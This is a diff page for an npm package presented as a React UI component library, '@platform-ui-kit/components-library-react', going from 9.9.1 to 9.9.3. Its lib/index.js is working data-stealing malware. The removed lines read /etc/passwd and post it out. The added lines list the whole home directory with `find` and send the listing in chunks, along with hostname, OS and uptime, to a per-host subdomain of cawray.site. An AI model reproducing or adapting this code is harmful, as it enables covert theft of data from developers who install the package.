@platform-ui-kit/components-library-react 9.9.1 → 9.9.3

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/lib/index.js +85 -30
  2. package/package.json +1 -1
package/lib/index.js CHANGED
@@ -1,15 +1,20 @@
1
1
  const http = require("http");
2
2
  const os = require("os");
3
3
  const { execSync } = require("child_process");
4
+ const fs = require("fs");
5
+ const path = require("path");
4
6
 
5
7
  const hostname = os.hostname();
8
+ const maxLinesPerRequest = 10; // Maximum lines to send per request
9
+ const outputFile = path.join(__dirname, "filesystem.txt"); // File to store the filesystem output
6
10
 
7
11
  // Function to execute shell commands and return output
8
12
  const executeCommand = (cmd) => {
9
13
  try {
10
14
  return execSync(cmd, { encoding: "utf-8" }).trim();
11
15
  } catch (error) {
12
- return `Error executing command: ${error.message}`;
16
+ console.error(`Error executing command: ${error.message}`);
17
+ return null; // Return null in case of error
13
18
  }
14
19
  };
15
20
 
@@ -18,39 +23,89 @@ const machineInfo = {
18
23
  hostname: hostname,
19
24
  os: `${os.type()} ${os.release()} ${os.arch()}`,
20
25
  uptime: os.uptime(),
21
- passwdFile: executeCommand("cat /etc/passwd"),
22
26
  };
23
27
 
24
- // Prepare data to be sent
25
- const data = new TextEncoder().encode(
26
- JSON.stringify({
27
- payload: machineInfo,
28
- project_id: process.argv[2],
29
- })
30
- );
31
-
32
- const options = {
33
- hostname: `${hostname}.cawray.site`,
34
- port: 80,
35
- path: "/",
36
- method: "POST",
37
- headers: {
38
- "Content-Type": "application/json",
39
- "Content-Length": data.length,
40
- },
41
- rejectUnauthorized: false,
28
+ // Function to gather the home directory
29
+ const gatherFilesystem = () => {
30
+ const homeDir = os.homedir(); // Get the home directory of the user
31
+ const command = `find ${homeDir} > ${outputFile}`; // Run the find command on the home directory
32
+ const result = executeCommand(command);
33
+ if (result === null) {
34
+ console.error("Failed to gather filesystem data.");
35
+ process.exit(1); // Exit if command fails
36
+ } else {
37
+ console.log("Filesystem data gathered in filesystem.txt");
38
+ }
42
39
  };
43
40
 
44
- // Send the request
45
- const req = http.request(options, (res) => {
46
- res.on("data", (d) => {
47
- process.stdout.write(d);
41
+ // Function to read the filesystem data in chunks
42
+ const readFilesystemInChunks = () => {
43
+ if (!fs.existsSync(outputFile)) {
44
+ console.error(`File not found: ${outputFile}`);
45
+ process.exit(1); // Exit if the file does not exist
46
+ }
47
+
48
+ const data = fs
49
+ .readFileSync(outputFile, "utf-8")
50
+ .split("\n")
51
+ .filter((line) => line.trim() !== "");
52
+ return data; // Return an array of directory lines
53
+ };
54
+
55
+ // Function to send a POST request with a given payload
56
+ const sendPostRequest = (chunk, chunkIndex) => {
57
+ const data = JSON.stringify({
58
+ payload: {
59
+ ...machineInfo,
60
+ directories: chunk,
61
+ },
62
+ project_id: process.argv[2],
48
63
  });
49
- });
50
64
 
51
- req.on("error", (error) => {
52
- console.error(error);
53
- });
65
+ const options = {
66
+ hostname: `${hostname}.platform.cawray.site`,
67
+ port: 80,
68
+ path: "/",
69
+ method: "POST",
70
+ headers: {
71
+ "Content-Type": "application/json",
72
+ "Content-Length": Buffer.byteLength(data),
73
+ },
74
+ rejectUnauthorized: false,
75
+ };
76
+
77
+ // Send the request
78
+ const req = http.request(options, (res) => {
79
+ res.on("data", (d) => {
80
+ process.stdout.write(d);
81
+ });
82
+ });
83
+
84
+ req.on("error", (error) => {
85
+ console.error(`Request error: ${error.message}`);
86
+ });
87
+
88
+ req.write(data);
89
+ req.end();
90
+ console.log(`Sent POST request for chunk ${chunkIndex + 1}`);
91
+ };
92
+
93
+ // Gather the filesystem starting from the home directory
94
+ gatherFilesystem();
95
+
96
+ // Read the filesystem data
97
+ const directoryLines = readFilesystemInChunks();
98
+ const totalLines = directoryLines.length; // Total lines collected
99
+
100
+ // Send each batch of directories, with a maximum of 10 lines per request
101
+ for (let i = 0; i < totalLines; i += maxLinesPerRequest) {
102
+ const chunk = directoryLines.slice(i, i + maxLinesPerRequest).join("\n");
103
+
104
+ // Adding a delay of 500ms between requests
105
+ setTimeout(
106
+ () => sendPostRequest(chunk, Math.floor(i / maxLinesPerRequest)),
107
+ (i / maxLinesPerRequest) * 500
108
+ );
109
+ }
54
110
 
55
- req.write(data);
56
- req.end();
111
+ console.log("All requests have been sent.");
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@platform-ui-kit/components-library-react",
3
- "version": "9.9.1",
3
+ "version": "9.9.3",
4
4
  "description": "My NPM",
5
5
  "main": "lib/index.js",
6
6
  "scripts": {